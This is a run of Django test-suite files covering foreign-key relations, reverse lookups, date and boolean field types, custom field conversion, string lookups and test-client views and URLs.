        self.assertEqual(
            list(Article.objects.select_related().dates('pub_date', 'month')),
            [datetime.date(1980, 4, 1), datetime.date(2005, 7, 1)]
        )
        self.assertEqual(
            list(Article.objects.select_related().dates('pub_date', 'year')),
            [datetime.date(1980, 1, 1), datetime.date(2005, 1, 1)]
        )

    def test_delete(self):
        self.r.article_set.create(headline="John's second story", pub_date=datetime.date(2005, 7, 29))
        self.r2.article_set.create(headline="Paul's story", pub_date=datetime.date(2006, 1, 17))
        Article.objects.create(headline="Third article", pub_date=datetime.date(2005, 7, 27), reporter_id=self.r.id)
        Article.objects.create(
            headline="Fourth article",
            pub_date=datetime.date(2005, 7, 27),
            reporter_id=str(self.r.id),
        )
        # If you delete a reporter, his articles will be deleted.
        self.assertQuerysetEqual(
            Article.objects.all(),
            [
                "<Article: Fourth article>",
                "<Article: John's second story>",
                "<Article: Paul's story>",
                "<Article: Third article>",
                "<Article: This is a test>",
            ]
        )
        self.assertQuerysetEqual(
            Reporter.objects.order_by('first_name'),
            ["<Reporter: John Smith>", "<Reporter: Paul Jones>"]
        )
        self.r2.delete()
        self.assertQuerysetEqual(
            Article.objects.all(),
            [
                "<Article: Fourth article>",
                "<Article: John's second story>",
                "<Article: Third article>",
                "<Article: This is a test>",
            ]
        )
        self.assertQuerysetEqual(Reporter.objects.order_by('first_name'), ["<Reporter: John Smith>"])
        # You can delete using a JOIN in the query.
        Reporter.objects.filter(article__headline__startswith='This').delete()
        self.assertQuerysetEqual(Reporter.objects.all(), [])
        self.assertQuerysetEqual(Article.objects.all(), [])

    def test_explicit_fk(self):
        # Create a new Article with get_or_create using an explicit value
        # for a ForeignKey.
        a2, created = Article.objects.get_or_create(
            headline="John's second test",
            pub_date=datetime.date(2011, 5, 7),
            reporter_id=self.r.id,
        )
        self.assertTrue(created)
        self.assertEqual(a2.reporter.id, self.r.id)

        # You can specify filters containing the explicit FK value.
        self.assertQuerysetEqual(
            Article.objects.filter(reporter_id__exact=self.r.id),
            ["<Article: John's second test>", "<Article: This is a test>"]
        )

        # Create an Article by Paul for the same date.
        a3 = Article.objects.create(
            headline="Paul's commentary",
            pub_date=datetime.date(2011, 5, 7),
            reporter_id=self.r2.id,
        )
        self.assertEqual(a3.reporter.id, self.r2.id)

        # Get should respect explicit foreign keys as well.
        with self.assertRaises(MultipleObjectsReturned):
            Article.objects.get(reporter_id=self.r.id)
        self.assertEqual(
            repr(a3),
            repr(Article.objects.get(reporter_id=self.r2.id, pub_date=datetime.date(2011, 5, 7)))
        )

    def test_deepcopy_and_circular_references(self):
        # Regression for #12876 -- Model methods that include queries that
        # recursive don't cause recursion depth problems under deepcopy.
        self.r.cached_query = Article.objects.filter(reporter=self.r)
        self.assertEqual(repr(deepcopy(self.r)), "<Reporter: John Smith>")

    def test_manager_class_caching(self):
        r1 = Reporter.objects.create(first_name='Mike')
        r2 = Reporter.objects.create(first_name='John')

        # Same twice
        self.assertIs(r1.article_set.__class__, r1.article_set.__class__)

        # Same as each other
        self.assertIs(r1.article_set.__class__, r2.article_set.__class__)

    def test_create_relation_with_ugettext_lazy(self):
        reporter = Reporter.objects.create(first_name='John', last_name='Smith', email='john.smith@example.com')
        lazy = ugettext_lazy('test')
        reporter.article_set.create(headline=lazy, pub_date=datetime.date(2011, 6, 10))
        notlazy = six.text_type(lazy)
        article = reporter.article_set.get()
        self.assertEqual(article.headline, notlazy)

    def test_values_list_exception(self):
        expected_message = "Cannot resolve keyword 'notafield' into field. Choices are: %s"
        reporter_fields = ', '.join(sorted(f.name for f in Reporter._meta.get_fields()))
        with self.assertRaisesMessage(FieldError, expected_message % reporter_fields):
            Article.objects.values_list('reporter__notafield')
        article_fields = ', '.join(['EXTRA'] + sorted(f.name for f in Article._meta.get_fields()))
        with self.assertRaisesMessage(FieldError, expected_message % article_fields):
            Article.objects.extra(select={'EXTRA': 'EXTRA_SELECT'}).values_list('notafield')

    def test_fk_assignment_and_related_object_cache(self):
        # Tests of ForeignKey assignment and the related-object cache (see #6886).

        p = Parent.objects.create(name="Parent")
        c = Child.objects.create(name="Child", parent=p)

        # Look up the object again so that we get a "fresh" object.
        c = Child.objects.get(name="Child")
        p = c.parent

        # Accessing the related object again returns the exactly same object.
        self.assertIs(c.parent, p)

        # But if we kill the cache, we get a new object.
        del c._parent_cache
        self.assertIsNot(c.parent, p)

        # Assigning a new object results in that object getting cached immediately.
        p2 = Parent.objects.create(name="Parent 2")
        c.parent = p2
        self.assertIs(c.parent, p2)

        # Assigning None succeeds if field is null=True.
        p.bestchild = None
        self.assertIsNone(p.bestchild)

        # bestchild should still be None after saving.
        p.save()
        self.assertIsNone(p.bestchild)

        # bestchild should still be None after fetching the object again.
        p = Parent.objects.get(name="Parent")
        self.assertIsNone(p.bestchild)

        # Assigning None will not fail: Child.parent is null=False.
        setattr(c, "parent", None)

        # You also can't assign an object of the wrong type here
        with self.assertRaises(ValueError):
            setattr(c, "parent", First(id=1, second=1))

        # You can assign None to Child.parent during object creation.
        Child(name='xyzzy', parent=None)

        # But when trying to save a Child with parent=None, the database will
        # raise IntegrityError.
        with self.assertRaises(IntegrityError), transaction.atomic():
            Child.objects.create(name='xyzzy', parent=None)

        # Creation using keyword argument should cache the related object.
        p = Parent.objects.get(name="Parent")
        c = Child(parent=p)
        self.assertIs(c.parent, p)

        # Creation using keyword argument and unsaved related instance (#8070).
        p = Parent()
        msg = "save() prohibited to prevent data loss due to unsaved related object 'parent'."
        with self.assertRaisesMessage(ValueError, msg):
            Child.objects.create(parent=p)

        msg = "save() prohibited to prevent data loss due to unsaved related object 'parent'."
        with self.assertRaisesMessage(ValueError, msg):
            ToFieldChild.objects.create(parent=p)

        # Creation using attname keyword argument and an id will cause the
        # related object to be fetched.
        p = Parent.objects.get(name="Parent")
        c = Child(parent_id=p.id)
        self.assertIsNot(c.parent, p)
        self.assertEqual(c.parent, p)

    def test_fk_to_bigautofield(self):
        ch = City.objects.create(name='Chicago')
        District.objects.create(city=ch, name='Far South')
        District.objects.create(city=ch, name='North')

        ny = City.objects.create(name='New York', id=2 ** 33)
        District.objects.create(city=ny, name='Brooklyn')
        District.objects.create(city=ny, name='Manhattan')

    def test_multiple_foreignkeys(self):
        # Test of multiple ForeignKeys to the same model (bug #7125).
        c1 = Category.objects.create(name='First')
        c2 = Category.objects.create(name='Second')
        c3 = Category.objects.create(name='Third')
        r1 = Record.objects.create(category=c1)
        r2 = Record.objects.create(category=c1)
        r3 = Record.objects.create(category=c2)
        r4 = Record.objects.create(category=c2)
        r5 = Record.objects.create(category=c3)
        Relation.objects.create(left=r1, right=r2)
        Relation.objects.create(left=r3, right=r4)
        Relation.objects.create(left=r1, right=r3)
        Relation.objects.create(left=r5, right=r2)
        Relation.objects.create(left=r3, right=r2)

        q1 = Relation.objects.filter(left__category__name__in=['First'], right__category__name__in=['Second'])
        self.assertQuerysetEqual(q1, ["<Relation: First - Second>"])

        q2 = Category.objects.filter(record__left_set__right__category__name='Second').order_by('name')
        self.assertQuerysetEqual(q2, ["<Category: First>", "<Category: Second>"])

        p = Parent.objects.create(name="Parent")
        c = Child.objects.create(name="Child", parent=p)
        with self.assertRaises(ValueError):
            Child.objects.create(name="Grandchild", parent=c)

    def test_fk_instantiation_outside_model(self):
        # Regression for #12190 -- Should be able to instantiate a FK outside
        # of a model, and interrogate its related field.
        cat = models.ForeignKey(Category, models.CASCADE)
        self.assertEqual('id', cat.remote_field.get_related_field().name)

    def test_relation_unsaved(self):
        # Test that the <field>_set manager does not join on Null value fields (#17541)
        Third.objects.create(name='Third 1')
        Third.objects.create(name='Third 2')
        th = Third(name="testing")
        # The object isn't saved an thus the relation field is null - we won't even
        # execute a query in this case.
        with self.assertNumQueries(0):
            self.assertEqual(th.child_set.count(), 0)
        th.save()
        # Now the model is saved, so we will need to execute an query.
        with self.assertNumQueries(1):
            self.assertEqual(th.child_set.count(), 0)

    @ignore_warnings(category=RemovedInDjango20Warning)  # for use_for_related_fields deprecation
    def test_related_object(self):
        public_school = School.objects.create(is_public=True)
        public_student = Student.objects.create(school=public_school)

        private_school = School.objects.create(is_public=False)
        private_student = Student.objects.create(school=private_school)

        # Only one school is available via all() due to the custom default manager.
        self.assertQuerysetEqual(School.objects.all(), ["<School: School object>"])

        self.assertEqual(public_student.school, public_school)

        # Make sure the base manager is used so that an student can still access
        # its related school even if the default manager doesn't normally
        # allow it.
        self.assertEqual(private_student.school, private_school)

        # If the manager is marked "use_for_related_fields", it'll get used instead
        # of the "bare" queryset. Usually you'd define this as a property on the class,
        # but this approximates that in a way that's easier in tests.
        School._default_manager.use_for_related_fields = True
        try:
            private_student = Student.objects.get(pk=private_student.pk)
            with self.assertRaises(School.DoesNotExist):
                private_student.school
        finally:
            School._default_manager.use_for_related_fields = False

        School._meta.base_manager_name = 'objects'
        School._meta._expire_cache()
        try:
            private_student = Student.objects.get(pk=private_student.pk)
            with self.assertRaises(School.DoesNotExist):
                private_student.school
        finally:
            School._meta.base_manager_name = None
            School._meta._expire_cache()

    def test_hasattr_related_object(self):
        # The exception raised on attribute access when a related object
        # doesn't exist should be an instance of a subclass of `AttributeError`
        # refs #21563
        self.assertFalse(hasattr(Article(), 'reporter'))

    def test_clear_after_prefetch(self):
        c = City.objects.create(name='Musical City')
        District.objects.create(name='Ladida', city=c)
        city = City.objects.prefetch_related('districts').get(id=c.id)
        self.assertQuerysetEqual(city.districts.all(), ['<District: Ladida>'])
        city.districts.clear()
        self.assertQuerysetEqual(city.districts.all(), [])

    def test_remove_after_prefetch(self):
        c = City.objects.create(name='Musical City')
        d = District.objects.create(name='Ladida', city=c)
        city = City.objects.prefetch_related('districts').get(id=c.id)
        self.assertQuerysetEqual(city.districts.all(), ['<District: Ladida>'])
        city.districts.remove(d)
        self.assertQuerysetEqual(city.districts.all(), [])

    def test_add_after_prefetch(self):
        c = City.objects.create(name='Musical City')
        District.objects.create(name='Ladida', city=c)
        d2 = District.objects.create(name='Ladidu')
        city = City.objects.prefetch_related('districts').get(id=c.id)
        self.assertEqual(city.districts.count(), 1)
        city.districts.add(d2)
        self.assertEqual(city.districts.count(), 2)

    def test_set_after_prefetch(self):
        c = City.objects.create(name='Musical City')
        District.objects.create(name='Ladida', city=c)
        d2 = District.objects.create(name='Ladidu')
        city = City.objects.prefetch_related('districts').get(id=c.id)
        self.assertEqual(city.districts.count(), 1)
        city.districts.set([d2])
        self.assertQuerysetEqual(city.districts.all(), ['<District: Ladidu>'])

    def test_add_then_remove_after_prefetch(self):
        c = City.objects.create(name='Musical City')
        District.objects.create(name='Ladida', city=c)
        d2 = District.objects.create(name='Ladidu')
        city = City.objects.prefetch_related('districts').get(id=c.id)
        self.assertEqual(city.districts.count(), 1)
        city.districts.add(d2)
        self.assertEqual(city.districts.count(), 2)
        city.districts.remove(d2)
        self.assertEqual(city.districts.count(), 1)






"""
Reverse lookups

This demonstrates the reverse lookup features of the database API.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class User(models.Model):
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Poll(models.Model):
    question = models.CharField(max_length=200)
    creator = models.ForeignKey(User, models.CASCADE)

    def __str__(self):
        return self.question


@python_2_unicode_compatible
class Choice(models.Model):
    name = models.CharField(max_length=100)
    poll = models.ForeignKey(Poll, models.CASCADE, related_name="poll_choice")
    related_poll = models.ForeignKey(Poll, models.CASCADE, related_name="related_choice")

    def __str__(self):
        return self.name












from __future__ import unicode_literals

from django.core.exceptions import FieldError
from django.test import TestCase

from .models import Choice, Poll, User


class ReverseLookupTests(TestCase):

    def setUp(self):
        john = User.objects.create(name="John Doe")
        jim = User.objects.create(name="Jim Bo")
        first_poll = Poll.objects.create(
            question="What's the first question?",
            creator=john
        )
        second_poll = Poll.objects.create(
            question="What's the second question?",
            creator=jim
        )
        Choice.objects.create(
            poll=first_poll,
            related_poll=second_poll,
            name="This is the answer."
        )

    def test_reverse_by_field(self):
        u1 = User.objects.get(
            poll__question__exact="What's the first question?"
        )
        self.assertEqual(u1.name, "John Doe")

        u2 = User.objects.get(
            poll__question__exact="What's the second question?"
        )
        self.assertEqual(u2.name, "Jim Bo")

    def test_reverse_by_related_name(self):
        p1 = Poll.objects.get(poll_choice__name__exact="This is the answer.")
        self.assertEqual(p1.question, "What's the first question?")

        p2 = Poll.objects.get(
            related_choice__name__exact="This is the answer.")
        self.assertEqual(p2.question, "What's the second question?")

    def test_reverse_field_name_disallowed(self):
        """
        If a related_name is given you can't use the field name instead
        """
        with self.assertRaises(FieldError):
            Poll.objects.get(choice__name__exact="This is the answer")






"""
This is a basic model to test saving and loading boolean and date-related
types, which in the past were problematic for some database backends.
"""

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Donut(models.Model):
    name = models.CharField(max_length=100)
    is_frosted = models.BooleanField(default=False)
    has_sprinkles = models.NullBooleanField()
    baked_date = models.DateField(null=True)
    baked_time = models.TimeField(null=True)
    consumed_at = models.DateTimeField(null=True)
    review = models.TextField()

    class Meta:
        ordering = ('consumed_at',)

    def __str__(self):
        return self.name


class RumBaba(models.Model):
    baked_date = models.DateField(auto_now_add=True)
    baked_timestamp = models.DateTimeField(auto_now_add=True)












from __future__ import unicode_literals

import datetime

from django.test import TestCase, skipIfDBFeature
from django.utils import six
from django.utils.timezone import utc

from .models import Donut, RumBaba


class DataTypesTestCase(TestCase):

    def test_boolean_type(self):
        d = Donut(name='Apple Fritter')
        self.assertFalse(d.is_frosted)
        self.assertIsNone(d.has_sprinkles)
        d.has_sprinkles = True
        self.assertTrue(d.has_sprinkles)

        d.save()

        d2 = Donut.objects.get(name='Apple Fritter')
        self.assertFalse(d2.is_frosted)
        self.assertTrue(d2.has_sprinkles)

    def test_date_type(self):
        d = Donut(name='Apple Fritter')
        d.baked_date = datetime.date(year=1938, month=6, day=4)
        d.baked_time = datetime.time(hour=5, minute=30)
        d.consumed_at = datetime.datetime(year=2007, month=4, day=20, hour=16, minute=19, second=59)
        d.save()

        d2 = Donut.objects.get(name='Apple Fritter')
        self.assertEqual(d2.baked_date, datetime.date(1938, 6, 4))
        self.assertEqual(d2.baked_time, datetime.time(5, 30))
        self.assertEqual(d2.consumed_at, datetime.datetime(2007, 4, 20, 16, 19, 59))

    def test_time_field(self):
        # Test for ticket #12059: TimeField wrongly handling datetime.datetime object.
        d = Donut(name='Apple Fritter')
        d.baked_time = datetime.datetime(year=2007, month=4, day=20, hour=16, minute=19, second=59)
        d.save()

        d2 = Donut.objects.get(name='Apple Fritter')
        self.assertEqual(d2.baked_time, datetime.time(16, 19, 59))

    def test_year_boundaries(self):
        """Year boundary tests (ticket #3689)"""
        Donut.objects.create(
            name='Date Test 2007',
            baked_date=datetime.datetime(year=2007, month=12, day=31),
            consumed_at=datetime.datetime(year=2007, month=12, day=31, hour=23, minute=59, second=59),
        )
        Donut.objects.create(
            name='Date Test 2006',
            baked_date=datetime.datetime(year=2006, month=1, day=1),
            consumed_at=datetime.datetime(year=2006, month=1, day=1),
        )
        self.assertEqual("Date Test 2007", Donut.objects.filter(baked_date__year=2007)[0].name)
        self.assertEqual("Date Test 2006", Donut.objects.filter(baked_date__year=2006)[0].name)

        Donut.objects.create(
            name='Apple Fritter',
            consumed_at=datetime.datetime(year=2007, month=4, day=20, hour=16, minute=19, second=59),
        )

        self.assertEqual(
            ['Apple Fritter', 'Date Test 2007'],
            list(Donut.objects.filter(consumed_at__year=2007).order_by('name').values_list('name', flat=True))
        )
        self.assertEqual(0, Donut.objects.filter(consumed_at__year=2005).count())
        self.assertEqual(0, Donut.objects.filter(consumed_at__year=2008).count())

    def test_textfields_unicode(self):
        """Regression test for #10238: TextField values returned from the
        database should be unicode."""
        d = Donut.objects.create(name='Jelly Donut', review='Outstanding')
        newd = Donut.objects.get(id=d.id)
        self.assertIsInstance(newd.review, six.text_type)

    @skipIfDBFeature('supports_timezones')
    def test_error_on_timezone(self):
        """Regression test for #8354: the MySQL and Oracle backends should raise
        an error if given a timezone-aware datetime object."""
        dt = datetime.datetime(2008, 8, 31, 16, 20, tzinfo=utc)
        d = Donut(name='Bear claw', consumed_at=dt)
        # MySQL backend does not support timezone-aware datetimes.
        with self.assertRaises(ValueError):
            d.save()

    def test_datefield_auto_now_add(self):
        """Regression test for #10970, auto_now_add for DateField should store
        a Python datetime.date, not a datetime.datetime"""
        b = RumBaba.objects.create()
        # Verify we didn't break DateTimeField behavior
        self.assertIsInstance(b.baked_timestamp, datetime.datetime)
        # We need to test this way because datetime.datetime inherits
        # from datetime.date:
        self.assertIsInstance(b.baked_date, datetime.date)
        self.assertNotIsInstance(b.baked_date, datetime.datetime)






# A package that raises an ImportError that can be shared among test apps and
# excluded from test discovery.
raise ImportError("Oops")






import decimal

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


class Cash(decimal.Decimal):
    currency = 'USD'

    def __str__(self):
        s = super(Cash, self).__str__(self)
        return '%s %s' % (s, self.currency)


class CashField(models.DecimalField):
    def __init__(self, **kwargs):
        kwargs['max_digits'] = 20
        kwargs['decimal_places'] = 2
        super(CashField, self).__init__(**kwargs)

    def from_db_value(self, value, expression, connection, context):
        cash = Cash(value)
        cash.vendor = connection.vendor
        return cash


@python_2_unicode_compatible
class CashModel(models.Model):
    cash = CashField()

    def __str__(self):
        return str(self.cash)












from django.db import connection
from django.db.models import Max
from django.test import TestCase

from .models import Cash, CashModel


class FromDBValueTest(TestCase):
    def setUp(self):
        CashModel.objects.create(cash='12.50')

    def test_simple_load(self):
        instance = CashModel.objects.get()
        self.assertIsInstance(instance.cash, Cash)

    def test_values_list(self):
        values_list = CashModel.objects.values_list('cash', flat=True)
        self.assertIsInstance(values_list[0], Cash)

    def test_values(self):
        values = CashModel.objects.values('cash')
        self.assertIsInstance(values[0]['cash'], Cash)

    def test_aggregation(self):
        maximum = CashModel.objects.aggregate(m=Max('cash'))['m']
        self.assertIsInstance(maximum, Cash)

    def test_defer(self):
        instance = CashModel.objects.defer('cash').get()
        self.assertIsInstance(instance.cash, Cash)

    def test_connection(self):
        instance = CashModel.objects.get()
        self.assertEqual(instance.cash.vendor, connection.vendor)






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class Foo(models.Model):
    name = models.CharField(max_length=50)
    friend = models.CharField(max_length=50, blank=True)

    def __str__(self):
        return "Foo %s" % self.name


@python_2_unicode_compatible
class Bar(models.Model):
    name = models.CharField(max_length=50)
    normal = models.ForeignKey(Foo, models.CASCADE, related_name='normal_foo')
    fwd = models.ForeignKey("Whiz", models.CASCADE)
    back = models.ForeignKey("Foo", models.CASCADE)

    def __str__(self):
        return "Bar %s" % self.place.name


@python_2_unicode_compatible
class Whiz(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return "Whiz %s" % self.name


@python_2_unicode_compatible
class Child(models.Model):
    parent = models.OneToOneField('Base', models.CASCADE)
    name = models.CharField(max_length=50)

    def __str__(self):
        return "Child %s" % self.name


@python_2_unicode_compatible
class Base(models.Model):
    name = models.CharField(max_length=50)

    def __str__(self):
        return "Base %s" % self.name


@python_2_unicode_compatible
class Article(models.Model):
    name = models.CharField(max_length=50)
    text = models.TextField()
    submitted_from = models.GenericIPAddressField(blank=True, null=True)

    def __str__(self):
        return "Article %s" % self.name












# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.test import TestCase

from .models import Article, Bar, Base, Child, Foo, Whiz


class StringLookupTests(TestCase):

    def test_string_form_referencing(self):
        """
        Regression test for #1661 and #1662

        Check that string form referencing of
        models works, both as pre and post reference, on all RelatedField types.
        """

        f1 = Foo(name="Foo1")
        f1.save()
        f2 = Foo(name="Foo2")
        f2.save()

        w1 = Whiz(name="Whiz1")
        w1.save()

        b1 = Bar(name="Bar1", normal=f1, fwd=w1, back=f2)
        b1.save()

        self.assertEqual(b1.normal, f1)

        self.assertEqual(b1.fwd, w1)

        self.assertEqual(b1.back, f2)

        base1 = Base(name="Base1")
        base1.save()

        child1 = Child(name="Child1", parent=base1)
        child1.save()

        self.assertEqual(child1.parent, base1)

    def test_unicode_chars_in_queries(self):
        """
        Regression tests for #3937

        make sure we can use unicode characters in queries.
        If these tests fail on MySQL, it's a problem with the test setup.
        A properly configured UTF-8 database can handle this.
        """

        fx = Foo(name='Bjorn', friend='François')
        fx.save()
        self.assertEqual(Foo.objects.get(friend__contains='\xe7'), fx)

        # We can also do the above query using UTF-8 strings.
        self.assertEqual(Foo.objects.get(friend__contains=b'\xc3\xa7'), fx)

    def test_queries_on_textfields(self):
        """
        Regression tests for #5087

        make sure we can perform queries on TextFields.
        """

        a = Article(name='Test', text='The quick brown fox jumps over the lazy dog.')
        a.save()
        self.assertEqual(Article.objects.get(text__exact='The quick brown fox jumps over the lazy dog.'), a)

        self.assertEqual(Article.objects.get(text__contains='quick brown fox'), a)

    def test_ipaddress_on_postgresql(self):
        """
        Regression test for #708

        "like" queries on IP address fields require casting with HOST() (on PostgreSQL).
        """
        a = Article(name='IP test', text='The body', submitted_from='192.0.2.100')
        a.save()
        self.assertQuerysetEqual(
            Article.objects.filter(submitted_from__contains='192.0.2'),
            [a], lambda x: x
        )
        # Test that the searches do not match the subnet mask (/32 in this case)
        self.assertEqual(Article.objects.filter(submitted_from__contains='32').count(), 0)






from xml.dom.minidom import parseString

from django.contrib.auth.decorators import login_required, permission_required
from django.core import mail
from django.forms import fields
from django.forms.forms import Form, ValidationError
from django.forms.formsets import BaseFormSet, formset_factory
from django.http import (
    HttpResponse, HttpResponseBadRequest, HttpResponseNotAllowed,
    HttpResponseNotFound, HttpResponseRedirect,
)
from django.shortcuts import render
from django.template import Context, Template
from django.test import Client
from django.utils.decorators import method_decorator
from django.utils.six.moves.urllib.parse import urlencode


def get_view(request):
    "A simple view that expects a GET request, and returns a rendered template"
    t = Template('This is a test. {{ var }} is the value.', name='GET Template')
    c = Context({'var': request.GET.get('var', 42)})

    return HttpResponse(t.render(c))


def trace_view(request):
    """
    A simple view that expects a TRACE request and echoes its status line.

    TRACE requests should not have an entity; the view will return a 400 status
    response if it is present.
    """
    if request.method.upper() != "TRACE":
        return HttpResponseNotAllowed("TRACE")
    elif request.body:
        return HttpResponseBadRequest("TRACE requests MUST NOT include an entity")
    else:
        protocol = request.META["SERVER_PROTOCOL"]
        t = Template(
            '{{ method }} {{ uri }} {{ version }}',
            name="TRACE Template",
        )
        c = Context({
            'method': request.method,
            'uri': request.path,
            'version': protocol,
        })
        return HttpResponse(t.render(c))


def post_view(request):
    """A view that expects a POST, and returns a different template depending
    on whether any POST data is available
    """
    if request.method == 'POST':
        if request.POST:
            t = Template('Data received: {{ data }} is the value.', name='POST Template')
            c = Context({'data': request.POST['value']})
        else:
            t = Template('Viewing POST page.', name='Empty POST Template')
            c = Context()
    else:
        t = Template('Viewing GET page.', name='Empty GET Template')
        c = Context()

    return HttpResponse(t.render(c))


def view_with_header(request):
    "A view that has a custom header"
    response = HttpResponse()
    response['X-DJANGO-TEST'] = 'Slartibartfast'
    return response


def raw_post_view(request):
    """A view which expects raw XML to be posted and returns content extracted
    from the XML"""
    if request.method == 'POST':
        root = parseString(request.body)
        first_book = root.firstChild.firstChild
        title, author = [n.firstChild.nodeValue for n in first_book.childNodes]
        t = Template("{{ title }} - {{ author }}", name="Book template")
        c = Context({"title": title, "author": author})
    else:
        t = Template("GET request.", name="Book GET template")
        c = Context()

    return HttpResponse(t.render(c))


def redirect_view(request):
    "A view that redirects all requests to the GET view"
    if request.GET:
        query = '?' + urlencode(request.GET, True)
    else:
        query = ''
    return HttpResponseRedirect('/get_view/' + query)


def view_with_secure(request):
    "A view that indicates if the request was secure"
    response = HttpResponse()
    response.test_was_secure_request = request.is_secure()
    response.test_server_port = request.META.get('SERVER_PORT', 80)
    return response


def double_redirect_view(request):
    "A view that redirects all requests to a redirection view"
    return HttpResponseRedirect('/permanent_redirect_view/')


def bad_view(request):
    "A view that returns a 404 with some error content"
    return HttpResponseNotFound('Not found!. This page contains some MAGIC content')

TestChoices = (
    ('a', 'First Choice'),
    ('b', 'Second Choice'),
    ('c', 'Third Choice'),
    ('d', 'Fourth Choice'),
    ('e', 'Fifth Choice')
)


class TestForm(Form):
    text = fields.CharField()
    email = fields.EmailField()
    value = fields.IntegerField()
    single = fields.ChoiceField(choices=TestChoices)
    multi = fields.MultipleChoiceField(choices=TestChoices)

    def clean(self):
        cleaned_data = self.cleaned_data
        if cleaned_data.get("text") == "Raise non-field error":
            raise ValidationError("Non-field error.")
        return cleaned_data


def form_view(request):
    "A view that tests a simple form"
    if request.method == 'POST':
        form = TestForm(request.POST)
        if form.is_valid():
            t = Template('Valid POST data.', name='Valid POST Template')
            c = Context()
        else:
            t = Template('Invalid POST data. {{ form.errors }}', name='Invalid POST Template')
            c = Context({'form': form})
    else:
        form = TestForm(request.GET)
        t = Template('Viewing base form. {{ form }}.', name='Form GET Template')
        c = Context({'form': form})

    return HttpResponse(t.render(c))


def form_view_with_template(request):
    "A view that tests a simple form"
    if request.method == 'POST':
        form = TestForm(request.POST)
        if form.is_valid():
            message = 'POST data OK'
        else:
            message = 'POST data has errors'
    else:
        form = TestForm()
        message = 'GET form page'
    return render(request, 'form_view.html', {
        'form': form,
        'message': message,
    })


class BaseTestFormSet(BaseFormSet):
    def clean(self):
        """Checks that no two email addresses are the same."""
        if any(self.errors):
            # Don't bother validating the formset unless each form is valid
            return

        emails = []
        for i in range(0, self.total_form_count()):
            form = self.forms[i]
            email = form.cleaned_data['email']
            if email in emails:
                raise ValidationError(
                    "Forms in a set must have distinct email addresses."
                )
            emails.append(email)

TestFormSet = formset_factory(TestForm, BaseTestFormSet)


def formset_view(request):
    "A view that tests a simple formset"
    if request.method == 'POST':
        formset = TestFormSet(request.POST)
        if formset.is_valid():
            t = Template('Valid POST data.', name='Valid POST Template')
            c = Context()
        else:
            t = Template('Invalid POST data. {{ my_formset.errors }}',
                         name='Invalid POST Template')
            c = Context({'my_formset': formset})
    else:
        formset = TestForm(request.GET)
        t = Template('Viewing base formset. {{ my_formset }}.',
                     name='Formset GET Template')
        c = Context({'my_formset': formset})
    return HttpResponse(t.render(c))


def login_protected_view(request):
    "A simple view that is login protected."
    t = Template('This is a login protected test. Username is {{ user.username }}.', name='Login Template')
    c = Context({'user': request.user})

    return HttpResponse(t.render(c))
login_protected_view = login_required(login_protected_view)


def login_protected_view_changed_redirect(request):
    "A simple view that is login protected with a custom redirect field set"
    t = Template('This is a login protected test. Username is {{ user.username }}.', name='Login Template')
    c = Context({'user': request.user})

    return HttpResponse(t.render(c))
login_protected_view_changed_redirect = (
    login_required(redirect_field_name="redirect_to")(login_protected_view_changed_redirect)
)


def _permission_protected_view(request):
    "A simple view that is permission protected."
    t = Template('This is a permission protected test. '
                 'Username is {{ user.username }}. '
                 'Permissions are {{ user.get_all_permissions }}.',
                 name='Permissions Template')
    c = Context({'user': request.user})
    return HttpResponse(t.render(c))
permission_protected_view = permission_required('permission_not_granted')(_permission_protected_view)
permission_protected_view_exception = (
    permission_required('permission_not_granted', raise_exception=True)(_permission_protected_view)
)


class _ViewManager(object):
    @method_decorator(login_required)
    def login_protected_view(self, request):
        t = Template('This is a login protected test using a method. '
                     'Username is {{ user.username }}.',
                     name='Login Method Template')
        c = Context({'user': request.user})
        return HttpResponse(t.render(c))

    @method_decorator(permission_required('permission_not_granted'))
    def permission_protected_view(self, request):
        t = Template('This is a permission protected test using a method. '
                     'Username is {{ user.username }}. '
                     'Permissions are {{ user.get_all_permissions }}.',
                     name='Permissions Template')
        c = Context({'user': request.user})
        return HttpResponse(t.render(c))

_view_manager = _ViewManager()
login_protected_method_view = _view_manager.login_protected_view
permission_protected_method_view = _view_manager.permission_protected_view


def session_view(request):
    "A view that modifies the session"
    request.session['tobacconist'] = 'hovercraft'

    t = Template('This is a view that modifies the session.',
                 name='Session Modifying View Template')
    c = Context()
    return HttpResponse(t.render(c))


def broken_view(request):
    """A view which just raises an exception, simulating a broken view."""
    raise KeyError("Oops! Looks like you wrote some bad code.")


def mail_sending_view(request):
    mail.EmailMessage(
        "Test message",
        "This is a test email",
        "from@example.com",
        ['first@example.com', 'second@example.com']).send()
    return HttpResponse("Mail sent")


def mass_mail_sending_view(request):
    m1 = mail.EmailMessage(
        'First Test message',
        'This is the first test email',
        'from@example.com',
        ['first@example.com', 'second@example.com'])
    m2 = mail.EmailMessage(
        'Second Test message',
        'This is the second test email',
        'from@example.com',
        ['second@example.com', 'third@example.com'])

    c = mail.get_connection()
    c.send_messages([m1, m2])

    return HttpResponse("Mail sent")


def nesting_exception_view(request):
    """
    A view that uses a nested client to call another view and then raises an
    exception.
    """
    client = Client()
    client.get('/get_view/')
    raise Exception('exception message')


def django_project_redirect(request):
    return HttpResponseRedirect('https://www.djangoproject.com/')






from django.conf.urls import url
from django.contrib.auth import views as auth_views
from django.views.generic import RedirectView

from . import views

urlpatterns = [
    url(r'^get_view/$', views.get_view, name='get_view'),
    url(r'^post_view/$', views.post_view),
    url(r'^trace_view/$', views.trace_view),
    url(r'^header_view/$', views.view_with_header),
    url(r'^raw_post_view/$', views.raw_post_view),
    url(r'^redirect_view/$', views.redirect_view),
    url(r'^secure_view/$', views.view_with_secure),
    url(r'^permanent_redirect_view/$', RedirectView.as_view(url='/get_view/', permanent=True)),
    url(r'^temporary_redirect_view/$', RedirectView.as_view(url='/get_view/', permanent=False)),
    url(r'^http_redirect_view/$', RedirectView.as_view(url='/secure_view/')),
    url(r'^https_redirect_view/$', RedirectView.as_view(url='https://testserver/secure_view/')),
    url(r'^double_redirect_view/$', views.double_redirect_view),
    url(r'^bad_view/$', views.bad_view),
    url(r'^form_view/$', views.form_view),
